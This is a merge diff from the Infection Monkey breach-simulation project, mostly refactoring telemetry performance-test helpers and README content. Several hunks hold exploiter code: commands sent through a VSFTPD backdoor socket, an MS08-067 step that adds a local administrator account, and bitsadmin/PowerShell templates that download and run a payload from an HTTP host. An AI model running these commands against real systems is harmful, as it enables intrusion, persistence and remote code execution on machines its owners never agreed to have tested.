Merge branch 'monkey_telemetry_fabrication' into zt_performance_fixes
# Conflicts: # envs/monkey_zoo/blackbox/test_blackbox.py # monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
After Width: | Height: | Size: 198 KiB |
Before Width: | Height: | Size: 80 KiB After Width: | Height: | Size: 162 KiB |
After Width: | Height: | Size: 122 KiB |
After Width: | Height: | Size: 194 KiB |
|
@ -83,7 +83,7 @@ MonkeyZoo/*
|
||||||
!MonkeyZoo/MonkeyZooDocs.pdf
|
!MonkeyZoo/MonkeyZooDocs.pdf
|
||||||
|
|
||||||
# Exported monkey telemetries
|
# Exported monkey telemetries
|
||||||
/monkey/test_telems/
|
/monkey/telem_sample/
|
||||||
|
|
||||||
# vim swap files
|
# vim swap files
|
||||||
*.swp
|
*.swp
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
|
||||||
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
|
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
|
||||||
path = monkey/monkey_island/cc/services/attack/attack_data
|
path = monkey/monkey_island/cc/services/attack/attack_data
|
||||||
url = https://github.com/mitre/cti
|
url = https://github.com/guardicore/cti
|
||||||
|
|
|
@ -36,7 +36,7 @@ script:
|
||||||
## Display the linter issues
|
## Display the linter issues
|
||||||
- cat flake8_warnings.txt
|
- cat flake8_warnings.txt
|
||||||
## Make sure that we haven't increased the amount of warnings.
|
## Make sure that we haven't increased the amount of warnings.
|
||||||
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190
|
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
|
||||||
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||||
|
|
||||||
## Run unit tests
|
## Run unit tests
|
||||||
|
@ -53,7 +53,7 @@ script:
|
||||||
- cd -
|
- cd -
|
||||||
- cd monkey_island/cc/ui
|
- cd monkey_island/cc/ui
|
||||||
- eslint ./src --quiet
|
- eslint ./src --quiet
|
||||||
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=37
|
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=490
|
||||||
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT
|
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT
|
||||||
|
|
||||||
after_success:
|
after_success:
|
||||||
|
|
20
README.md
|
@ -13,10 +13,6 @@ Welcome to the Infection Monkey!
|
||||||
|
|
||||||
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
|
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
|
||||||
|
|
||||||
<img src=".github/map-full.png" >
|
|
||||||
|
|
||||||
<img src=".github/Security-overview.png" width="800" height="500">
|
|
||||||
|
|
||||||
The Infection Monkey is comprised of two parts:
|
The Infection Monkey is comprised of two parts:
|
||||||
|
|
||||||
* **Monkey** - A tool which infects other machines and propagates to them.
|
* **Monkey** - A tool which infects other machines and propagates to them.
|
||||||
|
@ -24,6 +20,20 @@ The Infection Monkey is comprised of two parts:
|
||||||
|
|
||||||
To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com).
|
To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com).
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|
### Map
|
||||||
|
<img src=".github/map-full.png" width="800" height="600">
|
||||||
|
|
||||||
|
### Security report
|
||||||
|
<img src=".github/security-report.png" width="800" height="500">
|
||||||
|
|
||||||
|
### Zero trust report
|
||||||
|
<img src=".github/zero-trust-report.png" width="800" height="500">
|
||||||
|
|
||||||
|
### ATT&CK report
|
||||||
|
<img src=".github/attack-report.png" width="900" height="500">
|
||||||
|
|
||||||
## Main Features
|
## Main Features
|
||||||
|
|
||||||
The Infection Monkey uses the following techniques and exploits to propagate to other machines.
|
The Infection Monkey uses the following techniques and exploits to propagate to other machines.
|
||||||
|
@ -40,6 +50,8 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
||||||
* Conficker
|
* Conficker
|
||||||
* SambaCry
|
* SambaCry
|
||||||
* Elastic Search (CVE-2015-1427)
|
* Elastic Search (CVE-2015-1427)
|
||||||
|
* Weblogic server
|
||||||
|
* and more
|
||||||
|
|
||||||
## Setup
|
## Setup
|
||||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||||
|
|
|
@ -2,7 +2,7 @@ FROM debian:stretch-slim
|
||||||
|
|
||||||
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
|
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
|
||||||
|
|
||||||
ARG RELEASE=1.6
|
ARG RELEASE=1.8.0
|
||||||
ARG DEBIAN_FRONTEND=noninteractive
|
ARG DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
EXPOSE 5000
|
EXPOSE 5000
|
||||||
|
|
|
@ -1,2 +1,2 @@
|
||||||
logs/
|
logs/
|
||||||
/blackbox/tests/performance/test_telems/*
|
/blackbox/tests/performance/telem_sample
|
||||||
|
|
|
@ -24,13 +24,14 @@ To run telemetry performance test follow these steps:
|
||||||
1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
|
1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
|
||||||
exported telemetries already.
|
exported telemetries already.
|
||||||
2. Run monkey and wait until infection is done.
|
2. Run monkey and wait until infection is done.
|
||||||
3. All telemetries are gathered in `monkey/test_telems`
|
3. All telemetries are gathered in `monkey/telem_sample`
|
||||||
2. Run telemetry performance test.
|
2. Run telemetry performance test.
|
||||||
1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems`
|
1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems`
|
||||||
2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply
|
2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply
|
||||||
telemetries gathered.
|
telemetries gathered.
|
||||||
1. Run `telem_parser.py` scrip with working directory set to `monkey\envs\monkey_zoo\blackbox`
|
1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox`
|
||||||
2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate
|
2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate
|
||||||
telemetries 4 times.
|
telemetries 4 times.
|
||||||
3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion.
|
3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion.
|
||||||
3. Run blackbox tests, telemetry performance test will run as part of it.
|
3. Performance test will run as part of BlackBox tests or you can run it separately by adding
|
||||||
|
`-k 'test_telem_performance'` option.
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import json
|
import json
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
import logging
|
|
||||||
import os
|
import os
|
||||||
from time import sleep
|
import logging
|
||||||
|
|
||||||
import pytest
|
import pytest
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
||||||
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
|
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
|
||||||
|
@ -29,12 +29,11 @@ LOGGER = logging.getLogger(__name__)
|
||||||
@pytest.fixture(autouse=True, scope='session')
|
@pytest.fixture(autouse=True, scope='session')
|
||||||
def GCPHandler(request):
|
def GCPHandler(request):
|
||||||
GCPHandler = gcp_machine_handlers.GCPHandler()
|
GCPHandler = gcp_machine_handlers.GCPHandler()
|
||||||
#GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||||
#wait_machine_bootup()
|
wait_machine_bootup()
|
||||||
|
|
||||||
def fin():
|
def fin():
|
||||||
#GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||||
pass
|
|
||||||
|
|
||||||
request.addfinalizer(fin)
|
request.addfinalizer(fin)
|
||||||
|
|
||||||
|
@ -52,7 +51,7 @@ def wait_machine_bootup():
|
||||||
@pytest.fixture(scope='class')
|
@pytest.fixture(scope='class')
|
||||||
def island_client(island):
|
def island_client(island):
|
||||||
island_client_object = MonkeyIslandClient(island)
|
island_client_object = MonkeyIslandClient(island)
|
||||||
# island_client_object.reset_env()
|
island_client_object.reset_env()
|
||||||
yield island_client_object
|
yield island_client_object
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from os import listdir, path
|
||||||
|
from typing import List, Dict
|
||||||
|
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
TELEM_DIR_PATH = './tests/performance/telem_sample'
|
||||||
|
MAX_SAME_TYPE_TELEM_FILES = 10000
|
||||||
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SampleFileParser:
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def save_teletries_to_files(telems: List[Dict]):
|
||||||
|
for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
|
||||||
|
SampleFileParser.save_telemetry_to_file(telem)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def save_telemetry_to_file(telem: Dict):
|
||||||
|
telem_filename = telem['name'] + telem['method']
|
||||||
|
for i in range(MAX_SAME_TYPE_TELEM_FILES):
|
||||||
|
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
|
||||||
|
telem_filename = str(i) + telem_filename
|
||||||
|
break
|
||||||
|
with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
|
||||||
|
file.write(json.dumps(telem))
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def read_telem_files() -> List[str]:
|
||||||
|
telems = []
|
||||||
|
file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
|
||||||
|
if path.isfile(path.join(TELEM_DIR_PATH, f))]
|
||||||
|
for file_path in file_paths:
|
||||||
|
with open(file_path, 'r') as telem_file:
|
||||||
|
telem_string = "".join(telem_file.readlines()).replace("\n", "")
|
||||||
|
telems.append(telem_string)
|
||||||
|
return telems
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_all_telemetries() -> List[Dict]:
|
||||||
|
return [json.loads(t) for t in SampleFileParser.read_telem_files()]
|
|
@ -0,0 +1,25 @@
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
|
||||||
|
class FakeIpGenerator:
|
||||||
|
def __init__(self):
|
||||||
|
self.fake_ip_parts = [1, 1, 1, 1]
|
||||||
|
|
||||||
|
def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]:
|
||||||
|
fake_ips = []
|
||||||
|
for i in range(len(real_ips)):
|
||||||
|
fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
|
||||||
|
self.increment_ip()
|
||||||
|
return fake_ips
|
||||||
|
|
||||||
|
def increment_ip(self):
|
||||||
|
self.fake_ip_parts[3] += 1
|
||||||
|
self.try_fix_ip_range()
|
||||||
|
|
||||||
|
def try_fix_ip_range(self):
|
||||||
|
for i in range(len(self.fake_ip_parts)):
|
||||||
|
if self.fake_ip_parts[i] > 256:
|
||||||
|
if i-1 < 0:
|
||||||
|
raise Exception("Fake IP's out of range.")
|
||||||
|
self.fake_ip_parts[i-1] += 1
|
||||||
|
self.fake_ip_parts[i] = 1
|
|
@ -1,6 +1,7 @@
|
||||||
import random
|
import random
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_ip_generator import FakeIpGenerator
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
|
||||||
|
|
||||||
class FakeMonkey:
|
class FakeMonkey:
|
|
@ -2,35 +2,37 @@ import copy
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
from os import listdir, path
|
|
||||||
from typing import List, Dict
|
from typing import List, Dict
|
||||||
|
|
||||||
from tqdm import tqdm
|
from tqdm import tqdm
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_ip_generator import FakeIpGenerator
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
|
||||||
from envs.monkey_zoo.blackbox.tests.performance.utils.fake_monkey import FakeMonkey
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey
|
||||||
|
|
||||||
TELEM_DIR_PATH = './tests/performance/test_telems'
|
TELEM_DIR_PATH = './tests/performance/telemetry_sample'
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class TelemParser:
|
class SampleMultiplier:
|
||||||
|
|
||||||
def __init__(self, multiplier: int):
|
def __init__(self, multiplier: int):
|
||||||
self.multiplier = multiplier
|
self.multiplier = multiplier
|
||||||
self.fake_ip_generator = FakeIpGenerator()
|
self.fake_ip_generator = FakeIpGenerator()
|
||||||
|
|
||||||
def multiply_telems(self):
|
def multiply_telems(self):
|
||||||
telems = TelemParser.get_all_telemetries()
|
telems = SampleFileParser.get_all_telemetries()
|
||||||
telem_contents = [json.loads(telem['content']) for telem in telems]
|
telem_contents = [json.loads(telem['content']) for telem in telems]
|
||||||
monkeys = self.get_monkeys_from_telems(telem_contents)
|
monkeys = self.get_monkeys_from_telems(telem_contents)
|
||||||
for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1):
|
for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1):
|
||||||
for monkey in monkeys:
|
for monkey in monkeys:
|
||||||
monkey.change_fake_data()
|
monkey.change_fake_data()
|
||||||
fake_telem_batch = copy.deepcopy(telems)
|
fake_telem_batch = copy.deepcopy(telems)
|
||||||
TelemParser.fabricate_monkeys_in_telems(fake_telem_batch, monkeys)
|
SampleMultiplier.fabricate_monkeys_in_telems(fake_telem_batch, monkeys)
|
||||||
TelemParser.offset_telem_times(iteration=i, telems=fake_telem_batch)
|
SampleMultiplier.offset_telem_times(iteration=i, telems=fake_telem_batch)
|
||||||
TelemParser.save_teletries_to_files(fake_telem_batch)
|
SampleFileParser.save_teletries_to_files(fake_telem_batch)
|
||||||
|
LOGGER.info("")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]):
|
def fabricate_monkeys_in_telems(telems: List[Dict], monkeys: List[FakeMonkey]):
|
||||||
|
@ -38,7 +40,8 @@ class TelemParser:
|
||||||
for monkey in monkeys:
|
for monkey in monkeys:
|
||||||
if monkey.on_island:
|
if monkey.on_island:
|
||||||
continue
|
continue
|
||||||
if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) and not monkey.on_island:
|
if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \
|
||||||
|
and not monkey.on_island:
|
||||||
telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid)
|
telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid)
|
||||||
telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid)
|
telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid)
|
||||||
for i in range(len(monkey.original_ips)):
|
for i in range(len(monkey.original_ips)):
|
||||||
|
@ -49,39 +52,11 @@ class TelemParser:
|
||||||
for telem in telems:
|
for telem in telems:
|
||||||
telem['time']['$date'] += iteration * 1000
|
telem['time']['$date'] += iteration * 1000
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def save_teletries_to_files(telems: List[Dict]):
|
|
||||||
for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
|
|
||||||
TelemParser.save_telemetry_to_file(telem)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def save_telemetry_to_file(telem: Dict):
|
|
||||||
telem_filename = telem['name'] + telem['method']
|
|
||||||
for i in range(10000):
|
|
||||||
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
|
|
||||||
telem_filename = str(i) + telem_filename
|
|
||||||
break
|
|
||||||
with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
|
|
||||||
file.write(json.dumps(telem))
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def read_telem_files() -> List[str]:
|
|
||||||
telems = []
|
|
||||||
file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
|
|
||||||
if path.isfile(path.join(TELEM_DIR_PATH, f))]
|
|
||||||
for file_path in file_paths:
|
|
||||||
with open(file_path, 'r') as telem_file:
|
|
||||||
telems.append(telem_file.readline())
|
|
||||||
return telems
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_all_telemetries() -> List[Dict]:
|
|
||||||
return [json.loads(t) for t in TelemParser.read_telem_files()]
|
|
||||||
|
|
||||||
def get_monkeys_from_telems(self, telems: List[Dict]):
|
def get_monkeys_from_telems(self, telems: List[Dict]):
|
||||||
island_ips = TelemParser.get_island_ips_from_telems(telems)
|
island_ips = SampleMultiplier.get_island_ips_from_telems(telems)
|
||||||
monkeys = []
|
monkeys = []
|
||||||
for telem in [telem for telem in telems if 'telem_category' in telem and telem['telem_category'] == 'system_info']:
|
for telem in [telem for telem in telems
|
||||||
|
if 'telem_category' in telem and telem['telem_category'] == 'system_info']:
|
||||||
if 'network_info' not in telem['data']:
|
if 'network_info' not in telem['data']:
|
||||||
continue
|
continue
|
||||||
guid = telem['monkey_guid']
|
guid = telem['monkey_guid']
|
||||||
|
@ -111,4 +86,4 @@ class TelemParser:
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
TelemParser(multiplier=int(sys.argv[1])).multiply_telems()
|
SampleMultiplier(multiplier=int(sys.argv[1])).multiply_telems()
|
|
@ -0,0 +1,19 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.\
|
||||||
|
telem_sample_parsing.sample_multiplier.fake_ip_generator import FakeIpGenerator
|
||||||
|
|
||||||
|
|
||||||
|
class TestFakeIpGenerator(TestCase):
|
||||||
|
|
||||||
|
def test_fake_ip_generation(self):
|
||||||
|
fake_ip_gen = FakeIpGenerator()
|
||||||
|
self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts)
|
||||||
|
for i in range(256):
|
||||||
|
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])
|
||||||
|
self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
|
||||||
|
fake_ip_gen.fake_ip_parts = [256, 256, 255, 256]
|
||||||
|
self.assertListEqual(['256.256.255.256', '256.256.256.1'],
|
||||||
|
fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2']))
|
||||||
|
fake_ip_gen.fake_ip_parts = [256, 256, 256, 256]
|
||||||
|
self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
|
|
@ -8,7 +8,7 @@ from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceA
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
||||||
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
from envs.monkey_zoo.blackbox.tests.performance.utils.telem_parser import TelemParser
|
from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
|
||||||
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -24,7 +24,7 @@ class TelemetryPerformanceTest:
|
||||||
def test_telemetry_performance(self):
|
def test_telemetry_performance(self):
|
||||||
LOGGER.info("Starting telemetry performance test.")
|
LOGGER.info("Starting telemetry performance test.")
|
||||||
try:
|
try:
|
||||||
all_telemetries = TelemParser.get_all_telemetries()
|
all_telemetries = SampleFileParser.get_all_telemetries()
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
LOGGER.error("Telemetries to send not found. Refer to readme to figure out how to generate telemetries "
|
LOGGER.error("Telemetries to send not found. Refer to readme to figure out how to generate telemetries "
|
||||||
"and where to put them.")
|
"and where to put them.")
|
||||||
|
|
|
@ -1,11 +0,0 @@
|
||||||
class FakeIpGenerator:
|
|
||||||
def __init__(self):
|
|
||||||
self.fake_ip_parts = [1, 1, 1, 1]
|
|
||||||
|
|
||||||
def generate_fake_ips_for_real_ips(self, real_ips):
|
|
||||||
self.fake_ip_parts[2] += 1
|
|
||||||
fake_ips = []
|
|
||||||
for i in range(len(real_ips)):
|
|
||||||
fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
|
|
||||||
self.fake_ip_parts[3] += 1
|
|
||||||
return fake_ips
|
|
|
@ -57,6 +57,3 @@ class TestOSCompatibility(object):
|
||||||
|
|
||||||
if len(ips_that_communicated) < len(machine_list):
|
if len(ips_that_communicated) < len(machine_list):
|
||||||
assert False
|
assert False
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@ from pathlib import Path
|
||||||
|
|
||||||
MAJOR = "1"
|
MAJOR = "1"
|
||||||
MINOR = "8"
|
MINOR = "8"
|
||||||
PATCH = "0"
|
PATCH = "1"
|
||||||
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
||||||
with open(build_file_path, "r") as build_file:
|
with open(build_file_path, "r") as build_file:
|
||||||
BUILD = build_file.read()
|
BUILD = build_file.read()
|
||||||
|
|
|
@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
change_permission = str.encode(str(change_permission) + '\n')
|
change_permission = str.encode(str(change_permission) + '\n')
|
||||||
LOG.info("change_permission command is %s", change_permission)
|
LOG.info("change_permission command is %s", change_permission)
|
||||||
backdoor_socket.send(change_permission)
|
backdoor_socket.send(change_permission)
|
||||||
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
|
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||||
|
|
||||||
# Run monkey on the machine
|
# Run monkey on the machine
|
||||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
@ -143,7 +143,7 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
if backdoor_socket.send(run_monkey):
|
if backdoor_socket.send(run_monkey):
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
|
||||||
self.host, run_monkey)
|
self.host, run_monkey)
|
||||||
self.add_executed_cmd(run_monkey)
|
self.add_executed_cmd(run_monkey.decode())
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -4,7 +4,6 @@ import time
|
||||||
import copy
|
import copy
|
||||||
|
|
||||||
from requests import post, exceptions
|
from requests import post, exceptions
|
||||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|
||||||
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
|
|
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
sock.send("cmd /c (net user {} {} /add) &&"
|
sock.send("cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators {} /add)\r\n".format(
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add).encode())
|
self._config.user_to_add).encode())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
|
|
@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
|
||||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
|
||||||
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
|
||||||
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \
|
||||||
'/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
|
'&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \
|
||||||
'file_path)s exit)) > NUL 2>&1 '
|
'if not exist %(file_path)s exit)) > NUL 2>&1 '
|
||||||
|
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
||||||
|
|
|
@ -51,18 +51,15 @@ if is_windows_os():
|
||||||
local_hostname = socket.gethostname()
|
local_hostname = socket.gethostname()
|
||||||
return socket.gethostbyname_ex(local_hostname)[2]
|
return socket.gethostbyname_ex(local_hostname)[2]
|
||||||
|
|
||||||
|
|
||||||
def get_routes():
|
def get_routes():
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
else:
|
else:
|
||||||
from fcntl import ioctl
|
from fcntl import ioctl
|
||||||
|
|
||||||
|
|
||||||
def local_ips():
|
def local_ips():
|
||||||
valid_ips = [network['addr'] for network in get_host_subnets()]
|
valid_ips = [network['addr'] for network in get_host_subnets()]
|
||||||
return valid_ips
|
return valid_ips
|
||||||
|
|
||||||
|
|
||||||
def get_routes(): # based on scapy implementation for route parsing
|
def get_routes(): # based on scapy implementation for route parsing
|
||||||
try:
|
try:
|
||||||
f = open("/proc/net/route", "r")
|
f = open("/proc/net/route", "r")
|
||||||
|
|
|
@ -7,7 +7,6 @@ import sys
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
from infection_monkey.network.HostFinger import HostFinger
|
from infection_monkey.network.HostFinger import HostFinger
|
||||||
from infection_monkey.network.HostScanner import HostScanner
|
from infection_monkey.network.HostScanner import HostScanner
|
||||||
from infection_monkey.model.host import VictimHost
|
|
||||||
|
|
